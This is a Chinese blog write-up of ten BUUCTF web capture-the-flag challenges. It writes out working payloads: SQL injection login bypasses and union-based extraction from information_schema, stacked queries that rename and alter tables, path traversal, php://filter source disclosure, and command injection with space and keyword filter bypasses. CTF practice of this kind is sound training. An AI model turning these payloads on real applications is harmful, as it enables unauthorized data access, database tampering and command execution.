BUUCTF Web合集1

目录

一.[极客大挑战 2019]EasySQL 1

二.[极客大挑战 2019]Havefun 1

三.[HCTF 2018]WarmUp 1

四.[ACTF2020 新生赛]Include 1

五.[ACTF2020 新生赛]Exec 1

六.[GXYCTF2019]Ping Ping Ping 1

七.[强网杯 2019]随便注 1

八.[SUCTF 2019]EasySQL 1

 九.[极客大挑战 2019]Secret File 1

十.[极客大挑战 2019]LoveSQL 1


一.[极客大挑战 2019]EasySQL 1

看到登录框首先用万能密码试一下(万能密码详细见CSDN

密码处还可以用1' or '1' ='1 也可以登陆成功

二.[极客大挑战 2019]Havefun 1

        进入页面发现什么也没有,所以ctrl+u查看网页源代码,往下滑可以看见绿色代码部分(其他部分与题目没多大关系)

         源码解释:变量cat,通过get传参方式对cat传值,如果变量=dog就会有东西输出

        所以返回原页面payload构造:?cat=dog

三.[HCTF 2018]WarmUp 1

        首先查看源码,发现有个source.php

        所以返回原页面,url加上/source.php查看source里的内容,发现就是给出白名单以及过滤了两次问号和进行三次白名单验证(看不懂的函数可以百度搜索)

        

        查看hint.php,发现flag在ffffllllaaaagggg

 根据以上分析,构造payload:/source.php?file=hint.php?../../../../../../ffffllllaaaagggg

../是翻找上级目录,可以多用几个,也可以一个一个试,直到flag出现为止

四.[ACTF2020 新生赛]Include 1

        tips点进去,刚开始觉得页面没有什么有用的信息,首先想到用burp抓包,但也没有什么东西,再认真看页面,发现所在页面就是flag.php,但是没有显示flag,于是想到用php伪协议来读取

        于是构造payload:?file=php://filter/convert.base64-encode/resource=flag.php

        进行base64解码

五.[ACTF2020 新生赛]Exec 1

        看到ping首先想到用127.0.0.1尝试

  看到有数据回显,就试一下抓取flag

127.0.0.1 & cat /flag(注意空格)

六.[GXYCTF2019]Ping Ping Ping 1

思路一:

        首先还是试一下/?ip=127.0.0.1

        

        看到有数据回显,再试一下 /?ip=127.0.0.1 & cat /flag,显示不能有空格

        

         去看了ping的绕过方式,空格绕过方式可以用字符串代替:<、<>、%20(space)、%09(tab)、$IFS$9、${IFS}、$IFS等

所以我尝试用$IFS$9绕过空格(ip等于多少都可以),然后提示不能出现flag

         然后有一个绕过方式是拼接,就是1;a=ag.php;b=fl;cat $b$a

        上图应该是执行成功了,但是没有显示出flag,可以ctrl+u查看源码,得到flag

 思路二:

        从思路一看出来,不能出现flag、空格,说明改题目对用户输入做了限制,尝试找到页面看一下做了哪些过滤,一般试一下index.php

         看见过滤了很多符号、bash、flag等,针对过滤掉的字符找到相应的过滤方法(可以先去看看ping绕过的方法)

        就比如用思路一里的拼接方法

七.[强网杯 2019]随便注 1

        首先看看有没有出现单引号闭合或者双引号闭合情况

       

         显然1=2是错误的,但是它还是给我们回显数据,接着分别尝试用单引号和双引号闭合

 

所以此题是单引号闭合 

然后试一下sql注入里的查询库名语句,发现过滤了

select|update|delete|drop|insert|where|.

          select被过滤,报错注入、盲注等也都没法实现,所以采用堆叠注入

        发现成功查询库名,接着查询表名

有两个表,所以依次查询字段

1';show columns from `1919810931114514`#   (注意是``而不是单引号)

1';show columns from `words`# 

发现1919810931114514表里有flag

        但是很明显无论输入什么都会回显数字1和hahahah,这恰恰对应着words表里的id字段和data字段,说明内部查询语句应该是select id,data from words where id=....

 

         根据猜测的内部查询语句,要想让flag显示出来,我们就要将flag所在的表也就是1919810931114514表名改为words表,增加一个id字段,并且要将flag字段改为data字段。在改19198表名之前,要先将原来的words表名改为其他的名字

1';rename table words to otherword;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE  words CHANGE flag data VARCHAR(100);#

 (该代码参考来源BUUCTF [强网杯 2019]随便注 1(两种方法)_hcjtn的博客-CSDN博客

        然后查验有没有成功换名

        成功换名之后,输入1' or 1=1#就可以看见flag

八.[SUCTF 2019]EasySQL 1

        输入一些字符,出现nonono就是表示该字符过滤,尝试用堆叠注入依次查询库名、表名

 

          接着输入1;show columns from `Flag`#发现不行。然后发现除了0输入任何数字都会显示1输入字母却不显示

select 0 || flag --->返回结果为0

select 1 || flag --->返回结果为1

select 2 || flag --->返回结果为1

select a || flag --->返回结果为0

由以上结果猜测内部查询语句是

select '.$POST['query'].' || flag from Flag

所以只需要填*,1就能得出flag

就是select  *,1 || flag from Flag  --->  select  *,1 from Flag

这里的*就相当于通配符,然后1就是在Flag表里增加一行1数据

 九.[极客大挑战 2019]Secret File 1

        首先查看网页源码,发现有个room.php点击它

         发现有个action.php

        到页面去访问/action.php,发现跳转成了end.php

         以上种种自然而然想到用burp抓包看看,发到repeater看看响应,发现有个secr3t.php 

 访问secr3t.php 

        通过上面源代码我们要绕过../  tp  input  data所以想到用php filter伪协议

/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

        然后进行base64解码

十.[极客大挑战 2019]LoveSQL 1

        首先用万能密码登录,登陆成功

        然后就可以随便用简单点的账户密码来测试(可换可不换账号密码)

        用and 1=1和and 1=2发现username是注入点(详细见SQL注入--显错注入(zkaq)_咕噜yay的博客-CSDN博客

        接着查看输出点,发现2,3为输出点 

?username=1' union select 1,2,3-- qwe&password=abc

        

        然后判断字段数,发现字段数为3(其他数字只是显示账号密码错误,当为4时报错不一样)

?username=1' order by 4-- qwe&password=abc-- qwe

        查询库名

username=1' union select 1,2,database()-- qwe&password=abc-- qwe

        查表名,得到表名geekuser,l0ve1ysq1

?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- qwe&password=abc-- qwe

        接着查字段名,得到id,username,password

?username=1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'-- qwe&password=abc-- qwe

        接着查数据,得到一大串去寻找flag

?username=1' union select 1,database(),group_concat(id,username,password) from l0ve1ysq1-- qwe&password=abc-- qwe

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值